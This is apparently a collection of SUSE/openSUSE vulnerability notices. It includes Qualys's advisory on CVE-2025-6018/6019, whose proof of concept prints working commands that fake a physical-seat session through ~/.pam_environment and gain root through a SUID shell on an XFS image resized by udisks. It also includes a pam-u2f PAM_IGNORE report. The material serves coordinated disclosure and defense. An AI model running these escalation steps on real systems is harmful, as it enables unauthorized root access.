A UNIX Symbolic Link (Symlink) Following vulnerability in openSUSE Tumbleweed suricata package allows the suricata user to escalate to root.

This issue affects openSUSE Tumbleweed: from ? before 8.0.5-2.1; openSUSE Tumbleweed: from ? before 8.0.5-2.1.

A relative path traversal in the "keyhint" option in repomd.xml parsing of libzypp before 17.38.12 can be used by attackers able to supply a malicious repository to inject or overwrite files in the target system as root.

A relative path traversal bug problem when processing repository metadata in libzypp before 17.38.10 could be used by remote attackers supplying repositories to overwrite files on the system, leading to denial of service or privilege escalation.

A path traversal in handling the "path" component of .repo files processed by libzypp before 17.38.13 in the 17.x series, or before 16.22.19 could be used by attackers to fill directories on the system outside of the zypp cache with content.

PluginScript attempts to chroot the plugin to the repoManagerRoot, this root is frequently / (the system root) in standard configurations or when using --root. If the chroot target is /, it is a no-op, allowing the traversed path to execute host binaries (like /bin/bash) with root privileges.

crypto: algifaead - Revert to operating out-of-place

A flaw was found in libsolv. This heap buffer overflow occurs during the decompression of attacker-controlled compressed data within .solv files due to insufficient input validation. An attacker can provide a specially crafted .solv file, which, when processed by a vulnerable application, can lead to out-of-bounds memory access. This could result in information disclosure, alteration of program execution, or a denial of service.

A flaw was found in libsolv. This heap buffer overflow vulnerability occurs when a victim processes a specially crafted .solv file containing negative size values in the repoaddsolv function. This leads to an undersized memory allocation and a subsequent out-of-bounds write. An attacker could exploit this to cause a denial of service (DoS).

A flaw was found in libsolv. This stack-based buffer overflow vulnerability occurs in libsolv's Debian metadata parser when processing specially crafted Debian repository metadata. An attacker could exploit this by providing malicious SHA384 or SHA512 checksum tags, leading to memory corruption and a denial of service (DoS) in the affected system.

MUNGE is an authentication service for creating and validating user credentials. From 0.5 to 0.5.17, local attacker can exploit a buffer overflow vulnerability in munged (the MUNGE authentication daemon) to leak cryptographic key material from process memory. With the leaked key material, the attacker could forge arbitrary MUNGE credentials to impersonate any user (including root) to services that rely on MUNGE for authentication. The vulnerability allows a buffer overflow by sending a crafted message with an oversized address length field, corrupting munged's internal state and enabling extraction of the MAC subkey used for credential verification. This vulnerability is fixed in 0.5.18.

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD.

This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1.

End of life: 10/31/2027

A UNIX Symbolic Link (Symlink) Following vulnerability in the packaging of openSUSE Tumbleweed traefik2 allows the traefik user to escalate to root. This issue affects Tumbleweed: from ? before 2.11.29.

A Reliance on Untrusted Inputs in a Security Decision vulnerability in the logrotate configuration for openSUSE mailman3 package allows the mailman user to sent SIGHUP to arbitrary processes. This issue affects openSUSE Tumbleweed: from ? before 3.3.10-2.1.

An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

Qualys Security Advisory

CVE-2025-6018: LPE from unprivileged to allowactive in SUSE 15's PAM CVE-2025-6019: LPE from allowactive to root in libblockdev via udisks

======================================================================== Contents ========================================================================

Summary CVE-2025-6018: LPE from unprivileged to allowactive in SUSE 15's PAM - Analysis - Proof of concept - Digression CVE-2025-6019: LPE from allowactive to root in libblockdev via udisks - Analysis - Proof of concept Acknowledgments Timeline

======================================================================== Summary ========================================================================

We discovered an LPE vulnerability (a Local Privilege Escalation) in the PAM configuration of openSUSE Leap 15 and SUSE Linux Enterprise 15: an unprivileged local attacker (e.g., an attacker who logs in via sshd) can obtain the privileges of a physical "allowactive" user (i.e., a user who is physically sitting in front of the computer) and can therefore perform all the "allowactive yes" polkit actions that are normally reserved for physical users.

We also discovered another LPE vulnerability in libblockdev, trivially exploitable via the udisks daemon, which is installed by default on most Linux distributions: an "allowactive" user (e.g., a physical user, or an attacker who hijacked the session of a physical user, or an attacker who first exploited a vulnerability such as CVE-2025-6018 from this advisory) can obtain the full privileges of the root user.

We usually prefer LPEs from any unprivileged user to full root (instead of an LPE from an "allowactive" user to full root, like this CVE-2025-6019), but:

- when combined with the first LPE from this advisory (CVE-2025-6018), this second LPE (CVE-2025-6019) effectively allows an unprivileged attacker to obtain full root privileges;

- several high-profile vulnerabilities published recently also require the privileges of an "allowactive" user to be successfully exploited; for example, the following outstanding write-ups by Rory McNamara, Matthias Gerstner, and Attila Szasz:

https://snyk.io/blog/abusing-ubuntu-root-privilege-escalation/ https://security.opensuse.org/2024/11/26/tuned-instance-create.html https://ssd-disclosure.com/ssd-advisory-linux-kernel-hfsplus-slab-out-of-bounds-write/

Last-minute update: on May 25, 2025, Pumpkin Chang published a must-read blog post about D-Bus and Polkit, which is particularly relevant to this advisory because it contains a trick ("Abuse Rule Limitations") that can allow an unprivileged local attacker (who logs in via sshd for example) to obtain the privileges of a physical "allowactive" user; for more information:

https://u1f383.github.io/linux/2025/05/25/dbus-and-polkit-introduction.html

======================================================================== CVE-2025-6018: LPE from unprivileged to allowactive in SUSE 15's PAM ========================================================================

Analysis

During our recent work on OpenSSH, we noticed that, when an unprivileged user logs in via sshd on openSUSE Leap 15 or SUSE Linux Enterprise 15:

- PAM's pamenv module (from Linux-PAM 1.3.0) reads this user's ~/.pamenvironment file by default (i.e., pamenv's "userreadenv" configuration option is 1 by default);

- the pamenv module is called first, by sshd's dopamsetcred(), as part of PAM's "auth" stack (from /etc/pam.d/common-auth);

- the pamsystemd module is called later, by sshd's dopamsession(), as part of PAM's "session" stack (from /etc/pam.d/common-session).

Consequently, an unprivileged attacker who logs in via sshd can force the pamenv module to add arbitrary variables to PAM's environment (by first writing them to ~/.pamenvironment), and these variables are then returned to the pamsystemd module by pamgetenv(). In particular, the pamsystemd module calls pamgetenv() for the XDGSEAT and XDGVTNR variables, which immediately reminded us of Jann Horn's excellent CVE-2019-3842 in systemd:

https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1812316

In a nutshell, by setting XDGSEAT=seat0 and XDGVTNR=1 in ~/.pamenvironment, an unprivileged attacker who logs in via sshd on openSUSE Leap 15 or SUSE Linux Enterprise 15 can pretend that they are, in fact, a physical user who is sitting in front of the computer; i.e., an "allowactive" user, in polkit parlance.

Proof of concept

As a concrete result, such an attacker can then perform all the "allowactive yes" polkit actions that are normally reserved for physical users. For example, in the following proof of concept, the attacker calls systemd-logind's CanReboot() method to determine whether they are authenticated as an unprivileged "allowany" user (CanReboot() returns "challenge") or as a physical "allowactive" user (CanReboot() returns "yes"):

------------------------------------------------------------------------ attacker# ssh -i ided25519 nobody@victim

victim> grep PRETTYNAME= /etc/os-release PRETTYNAME="openSUSE Leap 15.6"

victim> id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

victim> cat /usr/share/polkit-1/actions/org.freedesktop.login1.policy ... <action id="org.freedesktop.login1.reboot"> <description gettext-domain="systemd">Reboot the system</description> ... <allowany>authadminkeep</allowany> <allowinactive>authadminkeep</allowinactive> <allowactive>yes</allowactive> ...

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('challenge',)

victim> { echo 'XDGSEAT OVERRIDE=seat0'; echo 'XDGVTNR OVERRIDE=1'; } > .pamenvironment

victim> exit

attacker# ssh -i ided25519 nobody@victim

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('yes',) ------------------------------------------------------------------------

Last-minute note: SUSE Linux Enterprise Server 15 uses "restrictive" polkit settings, instead of the "standard" settings; consequently, we must call CanSuspend() (which is "authadminkeep:authadminkeep:yes") instead of CanReboot() (which is "authadminkeep") to determine whether we are authenticated as a physical "allowactive" user or not.

We will explore one easy way to transform this minor LPE (from an unprivileged user to an "allowactive" user) into a full root LPE, in the next section of this advisory; but first, a brief digression.

Digression

On Debian 12 and Ubuntu 24.04, when an unprivileged user logs in via sshd, PAM's pamenv module (from Linux-PAM 1.5.x) also reads this user's ~/.pamenvironment file, because pamenv's "userreadenv" is explicitly set to 1 in /etc/pam.d/sshd (it is 0 by default, since Linux-PAM 1.4.0).

However, unlike openSUSE Leap and SUSE Linux Enterprise, Debian and Ubuntu only call the pamenv module at the very end of PAM's "session" stack, so this user's arbitrary PAM variables (from ~/.pamenvironment) cannot interfere with the pamsmopensession() code of the pamsystemd module.

Nevertheless, we noticed that, by setting the XDGSESSIONID variable (in ~/.pamenvironment) to another user's session id, an unprivileged local attacker can interfere with the pamsmclosesession() code of the pamsystemd module, and hence with this other user's session (mark it as "closing" instead of "active", and delete its .ref FIFO, for example):

------------------------------------------------------------------------ attacker$ ssh evey@victim evey@victim's password:

victim$ grep PRETTYNAME= /etc/os-release PRETTYNAME="Ubuntu 24.04.2 LTS"

victim$ id uid=1001(evey) gid=1001(evey) groups=1001(evey),100(users)

victim$ ls -l /run/systemd/sessions total 8 -rw-r--r-- 1 root root 314 May 13 21:25 4 prw------- 1 root root 0 May 13 21:25 4.ref -rw-r--r-- 1 root root 310 May 13 21:33 6 prw------- 1 root root 0 May 13 21:33 6.ref

victim$ cat /run/systemd/sessions/4 This is private data. Do not parse. UID=1000 USER=theadmin ... STATE=active ... FIFO=/run/systemd/sessions/4.ref ...

victim$ echo 'XDGSESSIONID OVERRIDE=4' > .pamenvironment

victim$ exit

attacker$ ssh evey@victim evey@victim's password:

victim$ exit

attacker$ ssh evey@victim evey@victim's password:

victim$ ls -l /run/systemd/sessions total 8 -rw-r--r-- 1 root root 313 May 13 22:13 16 prw------- 1 root root 0 May 13 22:13 16.ref -rw-r--r-- 1 root root 315 May 13 22:04 4

victim$ cat /run/systemd/sessions/4 This is private data. Do not parse. UID=1000 USER=theadmin ... STATE=closing ... TTY=pts/0 TTYVALIDITY=from-utmp ... ------------------------------------------------------------------------

We were unable to transform this interference with pamsystemd's pamsmclosesession() into an LPE, but maybe more creative minds will. In any case, we recommend that all Linux distributions explicitly set pamenv's "userreadenv" to 0 (if not 0 by default); indeed, and as highlighted in the latest versions of pamenv's man page:

------------------------------------------------------------------------ userreadenv=0|1

Turns on or off the reading of the user specific environment file. 0 is off, 1 is on. By default this option is off as user supplied environment variables in the PAM environment could affect behavior of subsequent modules in the stack without the consent of the system administrator.

Due to problematic security this functionality is deprecated since the 1.5.0 version and will be removed completely at some point in the future. ------------------------------------------------------------------------

======================================================================== CVE-2025-6019: LPE from allowactive to root in libblockdev via udisks ========================================================================

Analysis

Armed with our "unprivileged to allowactive" LPE, we obviously decided to hunt for an "allowactive to root" LPE, and therefore grepped for "allowactive yes" polkit actions:

------------------------------------------------------------------------ victim> grep -rl 'allowactive.yes' /usr/share/polkit-1/actions /usr/share/polkit-1/actions/org.freedesktop.login1.policy /usr/share/polkit-1/actions/org.freedesktop.ModemManager1.policy /usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy /usr/share/polkit-1/actions/com.redhat.tuned.policy /usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.desktop.policy.choice /usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.server.policy.choice /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy ------------------------------------------------------------------------

As lovers of filesystems and race conditions, we decided to target the udisks daemon, which is installed by default on most Linux distributions and which allows, for example, an "allowactive" user to:

- set up a loop device that is backed by an arbitrary filesystem image provided by this user;

- mount this arbitrary loop-backed filesystem.

Naturally, to prevent such an "allowactive" user from trivially escalating their privileges to full root (by planting a SUID-root program or a special device in their filesystem image), the udisks daemon always mounts such a filesystem with the nosuid and nodev flags.

Our initial idea, then, was to trick the udisks daemon into mounting a loop-backed filesystem without the nosuid and nodev flags, because these flags cross various layers of complex code before eventually reaching the kernel, and each of these layers parses and escapes these mount flags and options differently; for example, to mount an ntfs-3g filesystem via udisks, these flags and options are:

- first interpreted by the udisks daemon itself;

- then passed to and re-interpreted by the libblockdev;

- then passed to and re-interpreted by the libmount;

- then passed to and re-interpreted by the ntfs-3g program;

- then passed to and re-interpreted by ntfs-3g's internal libfuse;

- and finally passed to and re-interpreted by the kernel itself.

However, as we were reading the code of udisks and libblockdev, we spotted a much simpler LPE: since 2017, the udisks daemon allows an "allowactive" user to resize their filesystems; and to resize an XFS filesystem (via the xfsgrowfs program, which is installed by default on most Linux distributions) the udisks daemon calls the libblockdev, which temporarily mounts this XFS filesystem in /tmp (if it is not mounted elsewhere already) but without the nosuid and nodev flags.

Consequently, an "allowactive" attacker can simply set up a loop device that is backed by an arbitrary XFS image (which contains a SUID-root shell), then request the udisks daemon to resize this XFS filesystem (which mounts it in /tmp without the nosuid and nodev flags), and finally execute their SUID-root shell (from their XFS filesystem in /tmp) and therefore obtain full root privileges.

Proof of concept

1/ On our own attacker machine, as root, we create an XFS image that contains a SUID-root shell, and copy it to the victim machine:

------------------------------------------------------------------------ attacker# dd if=/dev/zero of=./xfs.image bs=1M count=300

attacker# mkfs.xfs ./xfs.image

attacker# mkdir ./xfs.mount

attacker# mount -t xfs ./xfs.image ./xfs.mount

attacker# cp /bin/bash ./xfs.mount

attacker# chmod 04555 ./xfs.mount/bash

attacker# umount ./xfs.mount

attacker# scp -i ided25519 ./xfs.image nobody@victim: ------------------------------------------------------------------------

2/ We log in the victim machine, and make sure that we are authenticated as an "allowactive" user (if not, it may be necessary to first exploit another LPE such as CVE-2025-6018 from this advisory):

------------------------------------------------------------------------ attacker# ssh -i ided25519 nobody@victim

victim> grep PRETTYNAME= /etc/os-release PRETTYNAME="openSUSE Leap 15.6"

victim> id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('yes',) ------------------------------------------------------------------------

3/ We set up a loop device that is backed by our XFS image, but we first make sure that "gvfs-udisks2-volume-monitor" is not running as our user (otherwise it would automatically mount our XFS filesystem and prevent the libblockdev from mounting it itself later):

------------------------------------------------------------------------ victim> killall -KILL gvfs-udisks2-volume-monitor

victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction Mapped file ./xfs.image as /dev/loop0. ------------------------------------------------------------------------

4/ We request the udisks daemon to resize our XFS filesystem, which forces the libblockdev to mount it in /tmp without the nosuid and nodev flags, but we first run a tight loop that will keep our XFS filesystem busy and prevent it from being unmounted later by the libblockdev:

------------------------------------------------------------------------ victim> while true; do /tmp/blockdev/bash -c 'sleep 10; ls -l /tmp/blockdev/bash' && break; done 2>/dev/null &

victim> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/blockdevices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy

-r-sr-xr-x. 1 root root 1406608 May 13 09:42 /tmp/blockdev.RSM842/bash ------------------------------------------------------------------------

5/ Finally, we execute our SUID-root shell (from our XFS filesystem in /tmp) and therefore obtain full root privileges:

------------------------------------------------------------------------ victim> mount ... /dev/loop0 on /tmp/blockdev.RSM842 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)

victim> /tmp/blockdev/bash -p

victim# id uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody) ^^^^^^^^^^^^ ------------------------------------------------------------------------

======================================================================== Acknowledgments ========================================================================

We thank SUSE (Alexander Bergmann, Thomas Blume, Valentin Lefebvre, in particular) and Red Hat (Patrick Del Bello, Marco Benatto, Tomas Bzatek, in particular) for their work on this release. We also thank the members of the linux-distros@openwall (Salvatore Bonaccorso and Nick Tait in particular) for their help with this release.

Finally, we thank Gergely Kalman for the following inspiring presentation:

https://gergelykalman.com/the-forgotten-art-of-filesystem-magic-alligatorcon-2024-slides.html

======================================================================== Timeline ========================================================================

2025-05-14: We sent a draft of our advisory to SUSE (security@suse) and Red Hat (secalert@redhat).

2025-06-09: We sent a draft of our advisory, and SUSE's and Red Hat's patches, to the linux-distros@openwall.

2025-06-17: Coordinated Release Date (16:00 UTC).

A UNIX Symbolic Link (Symlink) Following vulnerability in openSUSE Tumbleweed cyrus-imapd allows escalation from cyrus to root.This issue affects openSUSE Tumbleweed cyrus-imapd before 3.8.4-2.1.

A Incorrect Default Permissions vulnerability in the openSUSE Tumbleweed package gerbera allows the service user gerbera to escalate to root.,This issue affects gerbera on openSUSE Tumbleweed before 2.5.0-1.1.

Hello list,

following is a report about problematic return values in the pam-u2f [1] module. We also offer a rendered version of this report on our blog [2].

1) Introduction ===============

The pam-u2f module allows to use U2F (Universal 2nd Factor) devices like YubiKeys in the PAM authentication stack. The hardware tokens can be used as a second authentication factor, or to allow password-less login.

We have been checking all PAM modules in the openSUSE code base for bad return values. During this effort we found that improper use of PAMIGNORE return values in the pam-u2f module implementation could allow bypass of the second factor or password-less login without inserting the proper device.

This report is based on pam-u2f release 1.3.0 [4].

2) Improper use of PAMIGNORE Return Values =============================================

PAM modules basically consist of a set of hook functions that are invoked by libpam based on the active PAM stack configuration. Each PAM module function returns an int containing one of the PAM return values [5] defined in the libpam headers. These return values are vital for the outcome of a PAM authentication procedure, since libpam reports authentication success or failure depending on the return values encountered while processing the modules configured in the auth management group of the active PAM stack configuration.

The main business logic of the pam-u2f module is found in function pamsmauthenticate() [6], which contains multiple code paths that will result in a PAMIGNORE return value. The following is a list of the possible situations that can cause this to happen:

- if an error occurs in gethostname(). - if various memory allocation errors occur in strdup() or calloc(). - if resolveauthfilepath() fails (which fails if asprintf() fails). - if pammodutildroppriv() or pammodutilregainpriv() fail.

Returning PAMIGNORE signifies to libpam that the pam-u2f module shall not contribute to the return value that the application obtains. If no module reports a decisive return value, then libpam will report an authentication failure by default. However, if any other module in the auth management group returns PAMSUCCESS, and no module marks an error condition, the overall result of the authentication will be "success". How exactly this can happen is explored in the rest of this section.

In the pam-u2f documentation [7] two main use cases for the PAM module are stated:

# as a second factor auth required pamu2f.so authfile=/etc/u2fmappings cue # for password-less authentication: auth sufficient pamu2f.so authfile=/etc/u2fmappings cue pinverification=1

In the "second factor" scenario, a PAMIGNORE return from pam-u2f means that login will be possible without actually providing a second factor. The first factor authentication module (typically something like pamunix) will set a PAMSUCCESS return value, which will become the overall authentication result.

In the "password-less" authentication scenario, when pam-u2f is used exclusively for authentication, a PAMIGNORE return could mean that login will succeed without providing any authentication at all. The precondition for this is that another module in the auth management group returns PAMSUCCESS. There exist utility modules that don't actually authenticate but perform helper functions or enforce policy. An example is the pamfaillock [8] module, which can be added to the auth management group to record failed authentication attempts and lock the account for a certain time if too many failed attempts occur. This module will return PAMSUCCESS when running in "preauth" mode and if the maximum number of failed attempts has not been reached yet. In such a case PAMSUCCESS would become the overall authentication result when pam-u2f returns PAMIGNORE.

An attacker can attempt to provoke a situation that results in a PAMIGNORE return value in pam-u2f to achieve one of these outcomes. In particular, provoking an out-of-memory situation comes to mind - for example if a local attacker already has user level access and wants to escalate privileges via sudo or su.

3) Upstream Bugfix ==================

We suggested to upstream to change the problematic PAMIGNORE return values to others that mark the authentication as failed, e.g. PAMBUFERR for memory allocation errors or PAMABORT for other critical errors. Furthermore we suggested to harmonize the error handling in the affected function, because different styles of return values [9] have been used in the retval variable (PAM constants mixed with literal integers returned from sub-functions).

Upstream implemented a bugfix along these lines, which is available in commit a96ef17f74b8e4 [10]. This bugfix is available as part of release 1.3.1 [11]. Yubico also offer their own security advisory [12] for this CVE.

4) Remaining Uses of PAMIGNORE =================================

PAMIGNORE should only be used in clearly defined circumstances, like when necessary configuration for the PAM module is missing. Even then, this behaviour ideally should require an explicit opt-in by administrators, by passing configuration settings to the module's PAM configuration line.

Two such cases remain in pam-u2f with the bugfix applied. These cases trigger if no auth file exists for the user to be authenticated and if the "nouserok" option has been passed to the PAM module.

5) Possible Workaround ======================

If applying the bugfix is not possible right away, then a temporary workaround for the issue can be applied via the PAM stack configuration by changing the pamu2f line as follows:

auth [success=ok default=bad] pamu2f.so [...]

This way even a PAMIGNORE return in pamu2f.so will be considered a bad authentication result by libpam.

6) Timeline ===========

2024-11-20: We reported the issue to Yubico security (security () yubico com), offering coordinated disclosure. 2024-11-22: Yubico security accepted coordinated disclosure and stated that they are working on a fix. 2024-12-06: Yubico security notified us that a bugfix release is planned in early January. 2024-12-12: Yubico security shared their suggested bugfix with us. We sent back minor suggestions for improvement. 2025-01-08: Yubico security informed us of the release date of 2025-01-14. 2025-01-10: Yubico security shared the CVE identifier and their formal security advisory with us. 2025-01-14: The upstream bugfix release 1.3.1] [11] has been published as planned.

7) References =============

[1]: https://developers.yubico.com/pam-u2f/ [2]: https://security.opensuse.org/2025/01/14/pam-u2f-ignore-returns.html [3]: https://github.com/Yubico/pam-u2f [4]: https://github.com/Yubico/pam-u2f/tree/pamu2f-1.3.0 [5]: https://github.com/linux-pam/linux-pam/blob/ea980d991196df67cdd56b3f65d210b73218d08a/libpam/include/security/pamtypes.h#L29 [6]: https://github.com/Yubico/pam-u2f/blob/pamu2f-1.3.0/pam-u2f.c#L169 [7]: https://developers.yubico.com/pam-u2f/#examples [8]: https://linux.die.net/man/8/pamfaillock [9]: https://github.com/Yubico/pam-u2f/blob/773bf275e207a5a626313cf0a92d3827f8784b85/pam-u2f.c#L391 [10]: https://github.com/Yubico/pam-u2f/commit/a96ef17f74b8e4ed80a97322120af1a228a1ffb7 [11]: https://github.com/Yubico/pam-u2f/releases/tag/pamu2f-1.3.1 [12]: https://www.yubico.com/support/security-advisories/ysa-2025-01/

Best Regards

Matthias

-- Matthias Gerstner <matthias.gerstner () suse de> Security Engineer https://www.suse.com/security GPG Key ID: 0x14C405C971923553 SUSE Software Solutions Germany GmbH HRB 36809, AG Nürnberg Geschäftsführer: Ivo Totev, Andrew McDonald, Werner Knoblich

A Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in openSUSE Tumbleweed MirrorCache allows the execution of arbitrary JS via reflected XSS in the  REGEX and P parameters. This issue affects MirrorCache before 1.083.

End of life: 4/30/2026

End of life: 4/30/2026

A Improper Link Resolution Before File Access ('Link Following') vulnerability in SUSE SUSE Linux Enterprise Desktop 15 SP5 postfix, SUSE SUSE Linux Enterprise High Performance Computing 15 SP5 postfix, SUSE openSUSE Leap 15.5 postfix.This issue affects SUSE Linux Enterprise Desktop 15 SP5: before 3.7.3-150500.3.5.1; SUSE Linux Enterprise High Performance Computing 15 SP5: before 3.7.3-150500.3.5.1; openSUSE Leap 15.5 : before 3.7.3-150500.3.5.1.

A stack overflow vulnerability exists in function econfwriteFile in file atlibeconf/lib/libeconf.c in libeconf 0.5.1 allows attackers to cause a Denial of service or execute arbitrary code.